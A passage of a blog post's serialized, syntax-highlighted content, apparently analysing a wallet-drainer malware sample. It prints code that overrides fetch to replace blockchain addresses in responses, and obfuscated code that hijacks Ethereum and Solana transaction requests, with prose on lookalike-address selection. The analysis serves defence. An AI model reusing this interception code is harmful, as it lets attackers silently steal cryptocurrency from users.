rund",{"type":23,"tag":314,"props":96760,"children":96761},{"style":354},[96762],{"type":28,"value":1237},{"type":23,"tag":314,"props":96764,"children":96765},{"style":1054},[96766],{"type":28,"value":3778},{"type":23,"tag":314,"props":96768,"children":96769},{"style":338},[96770],{"type":28,"value":2278},{"type":23,"tag":314,"props":96772,"children":96773},{"class":316,"line":1343},[96774,96779,96783,96787],{"type":23,"tag":314,"props":96775,"children":96776},{"style":360},[96777],{"type":28,"value":96778}," neth",{"type":23,"tag":314,"props":96780,"children":96781},{"style":354},[96782],{"type":28,"value":1237},{"type":23,"tag":314,"props":96784,"children":96785},{"style":1054},[96786],{"type":28,"value":3778},{"type":23,"tag":314,"props":96788,"children":96789},{"style":338},[96790],{"type":28,"value":2278},{"type":23,"tag":314,"props":96792,"children":96793},{"class":316,"line":1351},[96794,96799],{"type":23,"tag":314,"props":96795,"children":96796},{"style":332},[96797],{"type":28,"value":96798}," newdlocal",{"type":23,"tag":314,"props":96800,"children":96801},{"style":338},[96802],{"type":28,"value":2926},{"type":23,"tag":314,"props":96804,"children":96805},{"class":316,"line":1387},[96806],{"type":23,"tag":314,"props":96807,"children":96808},{"style":338},[96809],{"type":28,"value":11912},{"type":23,"tag":314,"props":96811,"children":96812},{"class":316,"line":1422},[96813,96817,96821,96825,96829,96833,96837,96841],{"type":23,"tag":314,"props":96814,"children":96815},{"style":338},[96816],{"type":28,"value":15020},{"type":23,"tag":314,"props":96818,"children":96819},{"style":2284},[96820],{"type":28,"value":2570},{"type":23,"tag":314,"props":96822,"children":96823},{"style":2284},[96824],{"type":28,"value":15029},{"type":23,"tag":314,"props":96826,"children":96827},{"style":338},[96828],{"type":28,"value":2324},{"type":23,"tag":314,"props":96830,"children":96831},{"style":360},[96832],{"type":28,"value":96738},{"type":23,"tag":314,"props":96834,"children":96835},{"style":354},[96836],{"type":28,"value":63639},{"type":23,"tag":314,"props":96838,"children":96839},{"style":1054},[96840],{"type":28,"value":3778},{"type":23,"tag":314,"props":96842,"children":96843},{"style":338},[96844],{"type":28,"value":367},{"type":23,"tag":314,"props":96846,"children":96847},{"class":316,"line":1430},[96848,96853,96857,96861],{"type":23,"tag":314,"props":96849,"children":96850},{"style":360},[96851],{"type":28,"value":96852}," rund",{"type":23,"tag":314,"props":96854,"children":96855},{"style":354},[96856],{"type":28,"value":1237},{"type":23,"tag":314,"props":96858,"children":96859},{"style":1054},[96860],{"type":28,"value":3778},{"type":23,"tag":314,"props":96862,"children":96863},{"style":338},[96864],{"type":28,"value":2278},{"type":23,"tag":314,"props":96866,"children":96867},{"class":316,"line":1452},[96868,96873],{"type":23,"tag":314,"props":96869,"children":96870},{"style":332},[96871],{"type":28,"value":96872}," newdlocal",{"type":23,"tag":314,"props":96874,"children":96875},{"style":338},[96876],{"type":28,"value":2926},{"type":23,"tag":314,"props":96878,"children":96879},{"class":316,"line":1497},[96880],{"type":23,"tag":314,"props":96881,"children":96882},{"style":338},[96883],{"type":28,"value":2610},{"type":23,"tag":314,"props":96885,"children":96886},{"class":316,"line":1539},[96887],{"type":23,"tag":314,"props":96888,"children":96889},{"style":338},[96890],{"type":28,"value":5126},{"type":23,"tag":314,"props":96892,"children":96893},{"class":316,"line":1548},[96894],{"type":23,"tag":314,"props":96895,"children":96896},{"style":338},[96897],{"type":28,"value":386},{"type":23,"tag":84,"props":96899,"children":96900},{"start":370},[96901],{"type":23,"tag":88,"props":96902,"children":96903},{},[96904],{"type":28,"value":96905},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":304,"props":96907,"children":96909},{"code":96908,"language":30613,"meta":7,"className":30611,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[96910],{"type":23,"tag":94,"props":96911,"children":96912},{"__ignoreMap":7},[96913,96948,97005,97067,97082,97119,97158,97173,97212,97219,97252,97268,97327,97365,97390,97415,97439,97447,97462],{"type":23,"tag":314,"props":96914,"children":96915},{"class":316,"line":317},[96916,96920,96924,96928,96932,96936,96940,96944],{"type":23,"tag":314,"props":96917,"children":96918},{"style":332},[96919],{"type":28,"value":33343},{"type":23,"tag":314,"props":96921,"children":96922},{"style":354},[96923],{"type":28,"value":1237},{"type":23,"tag":314,"props":96925,"children":96926},{"style":321},[96927],{"type":28,"value":35614},{"type":23,"tag":314,"props":96929,"children":96930},{"style":321},[96931],{"type":28,"value":37463},{"type":23,"tag":314,"props":96933,"children":96934},{"style":338},[96935],{"type":28,"value":2324},{"type":23,"tag":314,"props":96937,"children":96938},{"style":354},[96939],{"type":28,"value":8840},{"type":23,"tag":314,"props":96941,"children":96942},{"style":360},[96943],{"type":28,"value":1991},{"type":23,"tag":314,"props":96945,"children":96946},{"style":338},[96947],{"type":28,"value":367},{"type":23,"tag":314,"props":96949,"children":96950},{"class":316,"line":370},[96951,96955,96960,96964,96968,96973,96977,96981,96985,96989,96993,96997,97001],{"type":23,"tag":314,"props":96952,"children":96953},{"style":321},[96954],{"type":28,"value":35437},{"type":23,"tag":314,"props":96956,"children":96957},{"style":360},[96958],{"type":28,"value":96959}," originalResponse",{"type":23,"tag":314,"props":96961,"children":96962},{"style":354},[96963],{"type":28,"value":1237},{"type":23,"tag":314,"props":96965,"children":96966},{"style":2284},[96967],{"type":28,"value":35460},{"type":23,"tag":314,"props":96969,"children":96970},{"style":360},[96971],{"type":28,"value":96972}," originalFetch",{"type":23,"tag":314,"props":96974,"children":96975},{"style":338},[96976],{"type":28,"value":282},{"type":23,"tag":314,"props":96978,"children":96979},{"style":332},[96980],{"type":28,"value":37544},{"type":23,"tag":314,"props":96982,"children":96983},{"style":338},[96984],{"type":28,"value":341},{"type":23,"tag":314,"props":96986,"children":96987},{"style":321},[96988],{"type":28,"value":16932},{"type":23,"tag":314,"props":96990,"children":96991},{"style":338},[96992],{"type":28,"value":778},{"type":23,"tag":314,"props":96994,"children":96995},{"style":354},[96996],{"type":28,"value":8840},{"type":23,"tag":314,"props":96998,"children":96999},{"style":360},[97000],{"type":28,"value":1991},{"type":23,"tag":314,"props":97002,"children":97003},{"style":338},[97004],{"type":28,"value":1025},{"type":23,"tag":314,"props":97006,"children":97007},{"class":316,"line":380},[97008,97012,97017,97021,97025,97029,97034,97038,97042,97046,97051,97055,97059,97063],{"type":23,"tag":314,"props":97009,"children":97010},{"style":321},[97011],{"type":28,"value":35437},{"type":23,"tag":314,"props":97013,"children":97014},{"style":360},[97015],{"type":28,"value":97016}," contentType",{"type":23,"tag":314,"props":97018,"children":97019},{"style":354},[97020],{"type":28,"value":1237},{"type":23,"tag":314,"props":97022,"children":97023},{"style":360},[97024],{"type":28,"value":96959},{"type":23,"tag":314,"props":97026,"children":97027},{"style":338},[97028],{"type":28,"value":282},{"type":23,"tag":314,"props":97030,"children":97031},{"style":360},[97032],{"type":28,"value":97033},"headers",{"type":23,"tag":314,"props":97035,"children":97036},{"style":338},[97037],{"type":28,"value":282},{"type":23,"tag":314,"props":97039,"children":97040},{"style":332},[97041],{"type":28,"value":15593},{"type":23,"tag":314,"props":97043,"children":97044},{"style":338},[97045],{"type":28,"value":341},{"type":23,"tag":314,"props":97047,"children":97048},{"style":1245},[97049],{"type":28,"value":97050},"'Content-Type'",{"type":23,"tag":314,"props":97052,"children":97053},{"style":338},[97054],{"type":28,"value":2343},{"type":23,"tag":314,"props":97056,"children":97057},{"style":354},[97058],{"type":28,"value":21656},{"type":23,"tag":314,"props":97060,"children":97061},{"style":1245},[97062],{"type":28,"value":31086},{"type":23,"tag":314,"props":97064,"children":97065},{"style":338},[97066],{"type":28,"value":2278},{"type":23,"tag":314,"props":97068,"children":97069},{"class":316,"line":1091},[97070,97074,97078],{"type":23,"tag":314,"props":97071,"children":97072},{"style":321},[97073],{"type":28,"value":7110},{"type":23,"tag":314,"props":97075,"children":97076},{"style":360},[97077],{"type":28,"value":1558},{"type":23,"tag":314,"props":97079,"children":97080},{"style":338},[97081],{"type":28,"value":2278},{"type":23,"tag":314,"props":97083,"children":97084},{"class":316,"line":1141},[97085,97089,97093,97098,97102,97106,97110,97115],{"type":23,"tag":314,"props":97086,"children":97087},{"style":2284},[97088],{"type":28,"value":30642},{"type":23,"tag":314,"props":97090,"children":97091},{"style":338},[97092],{"type":28,"value":2324},{"type":23,"tag":314,"props":97094,"children":97095},{"style":360},[97096],{"type":28,"value":97097},"contentType",{"type":23,"tag":314,"props":97099,"children":97100},{"style":338},[97101],{"type":28,"value":282},{"type":23,"tag":314,"props":97103,"children":97104},{"style":332},[97105],{"type":28,"value":34430},{"type":23,"tag":314,"props":97107,"children":97108},{"style":338},[97109],{"type":28,"value":341},{"type":23,"tag":314,"props":97111,"children":97112},{"style":1245},[97113],{"type":28,"value":97114},"'application/json'",{"type":23,"tag":314,"props":97116,"children":97117},{"style":338},[97118],{"type":28,"value":34443},{"type":23,"tag":314,"props":97120,"children":97121},{"class":316,"line":1173},[97122,97126,97130,97134,97138,97142,97146,97150,97154],{"type":23,"tag":314,"props":97123,"children":97124},{"style":360},[97125],{"type":28,"value":42481},{"type":23,"tag":314,"props":97127,"children":97128},{"style":354},[97129],{"type":28,"value":1237},{"type":23,"tag":314,"props":97131,"children":97132},{"style":2284},[97133],{"type":28,"value":35460},{"type":23,"tag":314,"props":97135,"children":97136},{"style":360},[97137],{"type":28,"value":96959},{"type":23,"tag":314,"props":97139,"children":97140},{"style":338},[97141],{"type":28,"value":282},{"type":23,"tag":314,"props":97143,"children":97144},{"style":332},[97145],{"type":28,"value":14662},{"type":23,"tag":314,"props":97147,"children":97148},{"style":338},[97149],{"type":28,"value":29417},{"type":23,"tag":314,"props":97151,"children":97152},{"style":332},[97153],{"type":28,"value":33246},{"type":23,"tag":314,"props":97155,"children":97156},{"style":338},[97157],{"type":28,"value":2926},{"type":23,"tag":314,"props":97159,"children":97160},{"class":316,"line":1208},[97161,97165,97169],{"type":23,"tag":314,"props":97162,"children":97163},{"style":338},[97164],{"type":28,"value":30716},{"type":23,"tag":314,"props":97166,"children":97167},{"style":2284},[97168],{"type":28,"value":2570},{"type":23,"tag":314,"props":97170,"children":97171},{"style":338},[97172],{"type":28,"value":1449},{"type":23,"tag":314,"props":97174,"children":97175},{"class":316,"line":1216},[97176,97180,97184,97188,97192,97196,97200,97204,97208],{"type":23,"tag":314,"props":97177,"children":97178},{"style":360},[97179],{"type":28,"value":42481},{"type":23,"tag":314,"props":97181,"children":97182},{"style":354},[97183],{"type":28,"value":1237},{"type":23,"tag":314,"props":97185,"children":97186},{"style":2284},[97187],{"type":28,"value":35460},{"type":23,"tag":314,"props":97189,"children":97190},{"style":360},[97191],{"type":28,"value":96959},{"type":23,"tag":314,"props":97193,"children":97194},{"style":338},[97195],{"type":28,"value":282},{"type":23,"tag":314,"props":97197,"children":97198},{"style":332},[97199],{"type":28,"value":14662},{"type":23,"tag":314,"props":97201,"children":97202},{"style":338},[97203],{"type":28,"value":29417},{"type":23,"tag":314,"props":97205,"children":97206},{"style":332},[97207],{"type":28,"value":28},{"type":23,"tag":314,"props":97209,"children":97210},{"style":338},[97211],{"type":28,"value":2926},{"type":23,"tag":314,"props":97213,"children":97214},{"class":316,"line":1301},[97215],{"type":23,"tag":314,"props":97216,"children":97217},{"style":338},[97218],{"type":28,"value":5126},{"type":23,"tag":314,"props":97220,"children":97221},{"class":316,"line":1343},[97222,97226,97231,97235,97240,97244,97248],{"type":23,"tag":314,"props":97223,"children":97224},{"style":321},[97225],{"type":28,"value":35437},{"type":23,"tag":314,"props":97227,"children":97228},{"style":360},[97229],{"type":28,"value":97230}," processedData",{"type":23,"tag":314,"props":97232,"children":97233},{"style":354},[97234],{"type":28,"value":1237},{"type":23,"tag":314,"props":97236,"children":97237},{"style":332},[97238],{"type":28,"value":97239}," replaceAddresses",{"type":23,"tag":314,"props":97241,"children":97242},{"style":338},[97243],{"type":28,"value":341},{"type":23,"tag":314,"props":97245,"children":97246},{"style":360},[97247],{"type":28,"value":249},{"type":23,"tag":314,"props":97249,"children":97250},{"style":338},[97251],{"type":28,"value":1025},{"type":23,"tag":314,"props":97253,"children":97254},{"class":316,"line":1351},[97255,97259,97264],{"type":23,"tag":314,"props":97256,"children":97257},{"style":321},[97258],{"type":28,"value":35437},{"type":23,"tag":314,"props":97260,"children":97261},{"style":360},[97262],{"type":28,"value":97263}," finalResponseText",{"type":23,"tag":314,"props":97265,"children":97266},{"style":354},[97267],{"type":28,"value":35104},{"type":23,"tag":314,"props":97269,"children":97270},{"class":316,"line":1387},[97271,97276,97280,97284,97289,97294,97298,97302,97306,97310,97314,97318,97323],{"type":23,"tag":314,"props":97272,"children":97273},{"style":321},[97274],{"type":28,"value":97275}," typeof",{"type":23,"tag":314,"props":97277,"children":97278},{"style":360},[97279],{"type":28,"value":97230},{"type":23,"tag":314,"props":97281,"children":97282},{"style":354},[97283],{"type":28,"value":30670},{"type":23,"tag":314,"props":97285,"children":97286},{"style":1245},[97287],{"type":28,"value":97288}," 'string'",{"type":23,"tag":314,"props":97290,"children":97291},{"style":354},[97292],{"type":28,"value":97293}," ?",{"type":23,"tag":314,"props":97295,"children":97296},{"style":360},[97297],{"type":28,"value":97230},{"type":23,"tag":314,"props":97299,"children":97300},{"style":354},[97301],{"type":28,"value":34365},{"type":23,"tag":314,"props":97303,"children":97304},{"style":360},[97305],{"type":28,"value":36777},{"type":23,"tag":314,"props":97307,"children":97308},{"style":338},[97309],{"type":28,"value":282},{"type":23,"tag":314,"props":97311,"children":97312},{"style":332},[97313],{"type":28,"value":38480},{"type":23,"tag":314,"props":97315,"children":97316},{"style":338},[97317],{"type":28,"value":341},{"type":23,"tag":314,"props":97319,"children":97320},{"style":360},[97321],{"type":28,"value":97322},"processedData",{"type":23,"tag":314,"props":97324,"children":97325},{"style":338},[97326],{"type":28,"value":1025},{"type":23,"tag":314,"props":97328,"children":97329},{"class":316,"line":1422},[97330,97334,97339,97343,97347,97352,97356,97361],{"type":23,"tag":314,"props":97331,"children":97332},{"style":321},[97333],{"type":28,"value":35437},{"type":23,"tag":314,"props":97335,"children":97336},{"style":360},[97337],{"type":28,"value":97338}," finalResponse",{"type":23,"tag":314,"props":97340,"children":97341},{"style":354},[97342],{"type":28,"value":1237},{"type":23,"tag":314,"props":97344,"children":97345},{"style":321},[97346],{"type":28,"value":31180},{"type":23,"tag":314,"props":97348,"children":97349},{"style":332},[97350],{"type":28,"value":97351}," Response",{"type":23,"tag":314,"props":97353,"children":97354},{"style":338},[97355],{"type":28,"value":341},{"type":23,"tag":314,"props":97357,"children":97358},{"style":360},[97359],{"type":28,"value":97360},"finalResponseText",{"type":23,"tag":314,"props":97362,"children":97363},{"style":338},[97364],{"type":28,"value":48132},{"type":23,"tag":314,"props":97366,"children":97367},{"class":316,"line":1430},[97368,97373,97377,97381,97386],{"type":23,"tag":314,"props":97369,"children":97370},{"style":360},[97371],{"type":28,"value":97372}," status:",{"type":23,"tag":314,"props":97374,"children":97375},{"style":360},[97376],{"type":28,"value":96959},{"type":23,"tag":314,"props":97378,"children":97379},{"style":338},[97380],{"type":28,"value":282},{"type":23,"tag":314,"props":97382,"children":97383},{"style":360},[97384],{"type":28,"value":97385},"status",{"type":23,"tag":314,"props":97387,"children":97388},{"style":338},[97389],{"type":28,"value":1870},{"type":23,"tag":314,"props":97391,"children":97392},{"class":316,"line":1452},[97393,97398,97402,97406,97411],{"type":23,"tag":314,"props":97394,"children":97395},{"style":360},[97396],{"type":28,"value":97397}," statusText:",{"type":23,"tag":314,"props":97399,"children":97400},{"style":360},[97401],{"type":28,"value":96959},{"type":23,"tag":314,"props":97403,"children":97404},{"style":338},[97405],{"type":28,"value":282},{"type":23,"tag":314,"props":97407,"children":97408},{"style":360},[97409],{"type":28,"value":97410},"statusText",{"type":23,"tag":314,"props":97412,"children":97413},{"style":338},[97414],{"type":28,"value":1870},{"type":23,"tag":314,"props":97416,"children":97417},{"class":316,"line":1497},[97418,97423,97427,97431,97435],{"type":23,"tag":314,"props":97419,"children":97420},{"style":360},[97421],{"type":28,"value":97422}," headers:",{"type":23,"tag":314,"props":97424,"children":97425},{"style":360},[97426],{"type":28,"value":96959},{"type":23,"tag":314,"props":97428,"children":97429},{"style":338},[97430],{"type":28,"value":282},{"type":23,"tag":314,"props":97432,"children":97433},{"style":360},[97434],{"type":28,"value":97033},{"type":23,"tag":314,"props":97436,"children":97437},{"style":338},[97438],{"type":28,"value":1870},{"type":23,"tag":314,"props":97440,"children":97441},{"class":316,"line":1539},[97442],{"type":23,"tag":314,"props":97443,"children":97444},{"style":338},[97445],{"type":28,"value":97446}," });\n",{"type":23,"tag":314,"props":97448,"children":97449},{"class":316,"line":1548},[97450,97454,97458],{"type":23,"tag":314,"props":97451,"children":97452},{"style":2284},[97453],{"type":28,"value":38446},{"type":23,"tag":314,"props":97455,"children":97456},{"style":360},[97457],{"type":28,"value":97338},{"type":23,"tag":314,"props":97459,"children":97460},{"style":338},[97461],{"type":28,"value":2278},{"type":23,"tag":314,"props":97463,"children":97464},{"class":316,"line":1584},[97465],{"type":23,"tag":314,"props":97466,"children":97467},{"style":338},[97468],{"type":28,"value":1545},{"type":23,"tag":84,"props":97470,"children":97471},{"start":380},[97472],{"type":23,"tag":88,"props":97473,"children":97474},{},[97475],{"type":28,"value":97476},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":304,"props":97478,"children":97480},{"code":97479,"language":30613,"meta":7,"className":30611,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[97481],{"type":23,"tag":94,"props":97482,"children":97483},{"__ignoreMap":7},[97484,97563,97574,97631,97671,97696,97711,97722,97756,97789,97808,97835,97843,97854,97894,97923,97951,97958,97998,98041,98085,98100,98139,98146,98170,98177],{"type":23,"tag":314,"props":97485,"children":97486},{"class":316,"line":317},[97487,97491,97495,97500,97504,97508,97512,97517,97521,97526,97530,97535,97539,97543,97547,97551,97555,97559],{"type":23,"tag":314,"props":97488,"children":97489},{"style":2284},[97490],{"type":28,"value":14821},{"type":23,"tag":314,"props":97492,"children":97493},{"style":338},[97494],{"type":28,"value":2324},{"type":23,"tag":314,"props":97496,"children":97497},{"style":360},[97498],{"type":28,"value":97499},"_0x2c3d7e",{"type":23,"tag":314,"props":97501,"children":97502},{"style":338},[97503],{"type":28,"value":282},{"type":23,"tag":314,"props":97505,"children":97506},{"style":360},[97507],{"type":28,"value":37561},{"type":23,"tag":314,"props":97509,"children":97510},{"style":354},[97511],{"type":28,"value":30670},{"type":23,"tag":314,"props":97513,"children":97514},{"style":1245},[97515],{"type":28,"value":97516}," 'eth_sendTransaction'",{"type":23,"tag":314,"props":97518,"children":97519},{"style":354},[97520],{"type":28,"value":13432},{"type":23,"tag":314,"props":97522,"children":97523},{"style":360},[97524],{"type":28,"value":97525}," _0x2c3d7e",{"type":23,"tag":314,"props":97527,"children":97528},{"style":338},[97529],{"type":28,"value":282},{"type":23,"tag":314,"props":97531,"children":97532},{"style":360},[97533],{"type":28,"value":97534},"params",{"type":23,"tag":314,"props":97536,"children":97537},{"style":354},[97538],{"type":28,"value":13432},{"type":23,"tag":314,"props":97540,"children":97541},{"style":360},[97542],{"type":28,"value":97525},{"type":23,"tag":314,"props":97544,"children":97545},{"style":338},[97546],{"type":28,"value":282},{"type":23,"tag":314,"props":97548,"children":97549},{"style":360},[97550],{"type":28,"value":97534},{"type":23,"tag":314,"props":97552,"children":97553},{"style":338},[97554],{"type":28,"value":1312},{"type":23,"tag":314,"props":97556,"children":97557},{"style":1054},[97558],{"type":28,"value":1600},{"type":23,"tag":314,"props":97560,"children":97561},{"style":338},[97562],{"type":28,"value":39872},{"type":23,"tag":314,"props":97564,"children":97565},{"class":316,"line":370},[97566,97570],{"type":23,"tag":314,"props":97567,"children":97568},{"style":2284},[97569],{"type":28,"value":96602},{"type":23,"tag":314,"props":97571,"children":97572},{"style":338},[97573],{"type":28,"value":1449},{"type":23,"tag":314,"props":97575,"children":97576},{"class":316,"line":380},[97577,97581,97586,97590,97595,97599,97603,97607,97611,97615,97619,97623,97627],{"type":23,"tag":314,"props":97578,"children":97579},{"style":321},[97580],{"type":28,"value":50919},{"type":23,"tag":314,"props":97582,"children":97583},{"style":360},[97584],{"type":28,"value":97585}," _0x39ad21",{"type":23,"tag":314,"props":97587,"children":97588},{"style":354},[97589],{"type":28,"value":1237},{"type":23,"tag":314,"props":97591,"children":97592},{"style":332},[97593],{"type":28,"value":97594}," _0x1089ae",{"type":23,"tag":314,"props":97596,"children":97597},{"style":338},[97598],{"type":28,"value":341},{"type":23,"tag":314,"props":97600,"children":97601},{"style":360},[97602],{"type":28,"value":97499},{"type":23,"tag":314,"props":97604,"children":97605},{"style":338},[97606],{"type":28,"value":282},{"type":23,"tag":314,"props":97608,"children":97609},{"style":360},[97610],{"type":28,"value":97534},{"type":23,"tag":314,"props":97612,"children":97613},{"style":338},[97614],{"type":28,"value":1312},{"type":23,"tag":314,"props":97616,"children":97617},{"style":1054},[97618],{"type":28,"value":1600},{"type":23,"tag":314,"props":97620,"children":97621},{"style":338},[97622],{"type":28,"value":22298},{"type":23,"tag":314,"props":97624,"children":97625},{"style":321},[97626],{"type":28,"value":1481},{"type":23,"tag":314,"props":97628,"children":97629},{"style":338},[97630],{"type":28,"value":1025},{"type":23,"tag":314,"props":97632,"children":97633},{"class":316,"line":1091},[97634,97639,97643,97647,97651,97655,97659,97663,97667],{"type":23,"tag":314,"props":97635,"children":97636},{"style":360},[97637],{"type":28,"value":97638}," _0x2c3d7e",{"type":23,"tag":314,"props":97640,"children":97641},{"style":338},[97642],{"type":28,"value":282},{"type":23,"tag":314,"props":97644,"children":97645},{"style":360},[97646],{"type":28,"value":97534},{"type":23,"tag":314,"props":97648,"children":97649},{"style":338},[97650],{"type":28,"value":1312},{"type":23,"tag":314,"props":97652,"children":97653},{"style":1054},[97654],{"type":28,"value":1600},{"type":23,"tag":314,"props":97656,"children":97657},{"style":338},[97658],{"type":28,"value":1322},{"type":23,"tag":314,"props":97660,"children":97661},{"style":354},[97662],{"type":28,"value":1102},{"type":23,"tag":314,"props":97664,"children":97665},{"style":360},[97666],{"type":28,"value":97585},{"type":23,"tag":314,"props":97668,"children":97669},{"style":338},[97670],{"type":28,"value":2278},{"type":23,"tag":314,"props":97672,"children":97673},{"class":316,"line":1141},[97674,97678,97682,97686,97691],{"type":23,"tag":314,"props":97675,"children":97676},{"style":338},[97677],{"type":28,"value":30716},{"type":23,"tag":314,"props":97679,"children":97680},{"style":2284},[97681],{"type":28,"value":47661},{"type":23,"tag":314,"props":97683,"children":97684},{"style":338},[97685],{"type":28,"value":2324},{"type":23,"tag":314,"props":97687,"children":97688},{"style":360},[97689],{"type":28,"value":97690},"_0x226343",{"type":23,"tag":314,"props":97692,"children":97693},{"style":338},[97694],{"type":28,"value":97695},") {}\n",{"type":23,"tag":314,"props":97697,"children":97698},{"class":316,"line":1173},[97699,97703,97707],{"type":23,"tag":314,"props":97700,"children":97701},{"style":338},[97702],{"type":28,"value":46123},{"type":23,"tag":314,"props":97704,"children":97705},{"style":2284},[97706],{"type":28,"value":2570},{"type":23,"tag":314,"props":97708,"children":97709},{"style":338},[97710],{"type":28,"value":1449},{"type":23,"tag":314,"props":97712,"children":97713},{"class":316,"line":1208},[97714,97718],{"type":23,"tag":314,"props":97715,"children":97716},{"style":2284},[97717],{"type":28,"value":30642},{"type":23,"tag":314,"props":97719,"children":97720},{"style":338},[97721],{"type":28,"value":77818},{"type":23,"tag":314,"props":97723,"children":97724},{"class":316,"line":1216},[97725,97730,97734,97738,97742,97746,97751],{"type":23,"tag":314,"props":97726,"children":97727},{"style":338},[97728],{"type":28,"value":97729}," (",{"type":23,"tag":314,"props":97731,"children":97732},{"style":360},[97733],{"type":28,"value":97499},{"type":23,"tag":314,"props":97735,"children":97736},{"style":338},[97737],{"type":28,"value":282},{"type":23,"tag":314,"props":97739,"children":97740},{"style":360},[97741],{"type":28,"value":37561},{"type":23,"tag":314,"props":97743,"children":97744},{"style":354},[97745],{"type":28,"value":30670},{"type":23,"tag":314,"props":97747,"children":97748},{"style":1245},[97749],{"type":28,"value":97750}," 'solana_signTransaction'",{"type":23,"tag":314,"props":97752,"children":97753},{"style":354},[97754],{"type":28,"value":97755}," ||\n",{"type":23,"tag":314,"props":97757,"children":97758},{"class":316,"line":1301},[97759,97764,97768,97772,97776,97781,97785],{"type":23,"tag":314,"props":97760,"children":97761},{"style":360},[97762],{"type":28,"value":97763}," _0x2c3d7e",{"type":23,"tag":314,"props":97765,"children":97766},{"style":338},[97767],{"type":28,"value":282},{"type":23,"tag":314,"props":97769,"children":97770},{"style":360},[97771],{"type":28,"value":37561},{"type":23,"tag":314,"props":97773,"children":97774},{"style":354},[97775],{"type":28,"value":30670},{"type":23,"tag":314,"props":97777,"children":97778},{"style":1245},[97779],{"type":28,"value":97780}," 'solana_signAndSendTransaction'",{"type":23,"tag":314,"props":97782,"children":97783},{"style":338},[97784],{"type":28,"value":2343},{"type":23,"tag":314,"props":97786,"children":97787},{"style":354},[97788],{"type":28,"value":83067},{"type":23,"tag":314,"props":97790,"children":97791},{"class":316,"line":1343},[97792,97796,97800,97804],{"type":23,"tag":314,"props":97793,"children":97794},{"style":360},[97795],{"type":28,"value":97638},{"type":23,"tag":314,"props":97797,"children":97798},{"style":338},[97799],{"type":28,"value":282},{"type":23,"tag":314,"props":97801,"children":97802},{"style":360},[97803],{"type":28,"value":97534},{"type":23,"tag":314,"props":97805,"children":97806},{"style":354},[97807],{"type":28,"value":51935},{"type":23,"tag":314,"props":97809,"children":97810},{"class":316,"line":1351},[97811,97815,97819,97823,97827,97831],{"type":23,"tag":314,"props":97812,"children":97813},{"style":360},[97814],{"type":28,"value":97638},{"type":23,"tag":314,"props":97816,"children":97817},{"style":338},[97818],{"type":28,"value":282},{"type":23,"tag":314,"props":97820,"children":97821},{"style":360},[97822],{"type":28,"value":97534},{"type":23,"tag":314,"props":97824,"children":97825},{"style":338},[97826],{"type":28,"value":1312},{"type":23,"tag":314,"props":97828,"children":97829},{"style":1054},[97830],{"type":28,"value":1600},{"type":23,"tag":314,"props":97832,"children":97833},{"style":338},[97834],{"type":28,"value":11020},{"type":23,"tag":314,"props":97836,"children":97837},{"class":316,"line":1387},[97838],{"type":23,"tag":314,"props":97839,"children":97840},{"style":338},[97841],{"type":28,"value":97842}," ) {\n",{"type":23,"tag":314,"props":97844,"children":97845},{"class":316,"line":1422},[97846,97850],{"type":23,"tag":314,"props":97847,"children":97848},{"style":2284},[97849],{"type":28,"value":69235},{"type":23,"tag":314,"props":97851,"children":97852},{"style":338},[97853],{"type":28,"value":1449},{"type":23,"tag":314,"props":97855,"children":97856},{"class":316,"line":1430},[97857,97861,97866,97870,97874,97878,97882,97886,97890],{"type":23,"tag":314,"props":97858,"children":97859},{"style":321},[97860],{"type":28,"value":7330},{"type":23,"tag":314,"props":97862,"children":97863},{"style":360},[97864],{"type":28,"value":97865}," _0x5ad975",{"type":23,"tag":314,"props":97867,"children":97868},{"style":354},[97869],{"type":28,"value":1237},{"type":23,"tag":314,"props":97871,"children":97872},{"style":360},[97873],{"type":28,"value":97525},{"type":23,"tag":314,"props":97875,"children":97876},{"style":338},[97877],{"type":28,"value":282},{"type":23,"tag":314,"props":97879,"children":97880},{"style":360},[97881],{"type":28,"value":97534},{"type":23,"tag":314,"props":97883,"children":97884},{"style":338},[97885],{"type":28,"value":1312},{"type":23,"tag":314,"props":97887,"children":97888},{"style":1054},[97889],{"type":28,"value":1600},{"type":23,"tag":314,"props":97891,"children":97892},{"style":338},[97893],{"type":28,"value":2005},{"type":23,"tag":314,"props":97895,"children":97896},{"class":316,"line":1452},[97897,97901,97905,97910,97914,97919],{"type":23,"tag":314,"props":97898,"children":97899},{"style":2284},[97900],{"type":28,"value":38534},{"type":23,"tag":314,"props":97902,"children":97903},{"style":338},[97904],{"type":28,"value":2324},{"type":23,"tag":314,"props":97906,"children":97907},{"style":360},[97908],{"type":28,"value":97909},"_0x5ad975",{"type":23,"tag":314,"props":97911,"children":97912},{"style":338},[97913],{"type":28,"value":282},{"type":23,"tag":314,"props":97915,"children":97916},{"style":360},[97917],{"type":28,"value":97918},"transaction",{"type":23,"tag":314,"props":97920,"children":97921},{"style":338},[97922],{"type":28,"value":367},{"type":23,"tag":314,"props":97924,"child